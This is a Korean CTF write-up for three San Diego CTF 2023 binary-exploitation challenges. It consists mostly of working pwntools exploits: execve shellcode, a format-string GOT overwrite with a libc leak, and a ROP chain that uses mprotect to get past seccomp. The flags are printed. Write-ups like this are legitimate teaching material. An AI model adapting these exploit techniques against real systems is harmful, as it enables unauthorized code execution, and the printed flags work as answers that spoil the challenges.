San Diego CTF 2023 Write ups

1주일 뒤에나 작성하는 Write ups.. 한 문제 빼고 다 풀었는데 못 푼 문제는 너무 극악의 fsb였다. 나머지 문제는 쉽게 풀이했던 걸로 기억.

Turtle Shell

A turtle without it’s shell is a sad sight to see
Connect via: nc turtle.sdc.tf 1337
Dockerfile turtle-shell

  • [111 solves / 100 points]

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

# p = process('./turtle-shell')
p = remote('turtle.sdc.tf', 1337)
e = ELF('./turtle-shell')

p.sendline('\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05')

p.interactive()

# sdctf{w0w_y0u_m4d3_7h3_7urT13_c0m3_0u7_0f_1t5_5h3l1}

money-printer

The first step to getting rich is printing money
Connect via: nc money.sdc.tf 1337
Dockerfile money-printer

  • [140 solves / 150 points]

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./money-printerp')
p = remote('money.sdc.tf', 1337)
e = ELF('./money-printerp')
libc = ELF('./libc.so.6')

# 1. exit@got -> main
p.sendlineafter('?\n', '-1')
payload = fmtstr_payload(16,
{e.got['exit'] : e.symbols['main'] })
# pause()
p.sendlineafter('?\n', payload)

#51
# - 0x21c87
p.sendlineafter('?\n', '-1')
payload = b'%57$p'
# payload = b'AAAAAAAA'
# pause()
p.sendlineafter('?\n', payload)

p.recvuntil('0x')
libc.address = int(p.recvline(), 16) - 0x21c87
info(hex(libc.address))

# system = libc.symbols['system']
# binsh = next(libc.search(b'/bin/sh\x00'))

# printf@got -> system
p.sendlineafter('?\n', '-1')
payload = fmtstr_payload(16,
{e.got['printf'] : p64(libc.symbols['system'])[:4] },
write_size = 'short')
# pause()
p.sendlineafter('?\n', payload)

# p.sendlineafter('?\n', '-1')
# p.sendlineafter('?\n', '/bin/sh\x00')
pause()
p.sendline('-1')
p.sendline('/bin/sh\x00')

p.interactive()
# -1
# /bin/sh
# sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}


# Canary : ✓ (value: 0xedabb8ef1d292700)
# NX : ✓
# PIE : ✘
# Fortify : ✘
# RelRO : Partial

tROPic-thunder

I hope this isn’t your first rodeo
Connect via: nc thunder.sdc.tf 1337
Dockerfile tROPic-thunder

  • [69 solves / 250 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

seccomp이 걸려있지만 평이하게 걸려있다. execve를 실행시키자.

mprotect가 있는 한, 이것을 실행시켜 특정 공간에 실행 권한을 주고 거기에 쉘 코드를 넣어서 그 곳으로 점프하는 생각을 하자.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

context.arch = 'amd64'

# p = process('./tROPic-thunder')
p = remote('thunder.sdc.tf', 1337)
e = ELF('./tROPic-thunder')

syscall = 0x41003c
pop_rax = 0x4005af
pop_rdi = 0x4006a6
pop_rsi = 0x40165c
pop_rdx = 0x4589f5

bss = e.bss() + 0xc0

payload = b''
payload += b'A' * (0x70 + 0x8)
# mprotect(bss, 0x1000, 7)
# payload += p64(pop_rax)
# payload += p64(10)
payload += p64(pop_rdi)
payload += p64(0x000000006d9000)
payload += p64(pop_rsi)
payload += p64(0x4000)
payload += p64(pop_rdx)
payload += p64(7)
payload += p64(e.sym['mprotect'])
# payload += p64(syscall)
# read(0, bss, 0x1000)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(0x000000006d9000)
payload += p64(pop_rdx)
payload += p64(0x4000)
payload += p64(e.sym['read'])
# payload += p64(syscall)

# payload += p64(0x41414141) # jmp!
payload += p64(0x000000006d9000) # jmp!

print(hex(len(payload)))

# pause()
p.sendlineafter('!\n', payload)

# open, read, write
payload = b''
payload += asm(shellcraft.open('./flag.txt'))
payload += asm(shellcraft.read(3, 'rsp', 0x100))
payload += asm(shellcraft.write(1, 'rsp', 0x100))


# payload = asm(payload)

pause()
p.send(payload)


p.interactive()

# sdctf{I_w4tch3d_tR0p1c_7huNd3r_wh1l3_m4k1nG_7h1s_ch4al13ng3}

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)